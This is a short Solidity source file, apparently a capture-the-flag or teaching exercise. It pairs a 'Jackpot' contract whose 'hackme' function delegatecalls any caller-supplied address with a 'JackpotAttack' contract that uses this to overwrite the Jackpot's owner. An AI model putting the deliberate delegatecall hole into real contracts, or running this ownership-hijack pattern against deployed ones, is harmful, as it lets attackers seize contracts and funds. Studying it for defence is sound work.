pragma solidity ^0.4.18; // Our first contract is a faucet! contract Jackpot { address public owner; function Jackpot() public payable { owner = msg.sender; } function hackme(address _address) public { _address.delegatecall("0xa6ae0aac"); } function() public payable {} } contract JackpotAttack { address public owner; function attack(address _address) payable { Jackpot j = Jackpot(_address); j.hackme(this); } function() public payable { owner = msg.sender; } }
0.4.18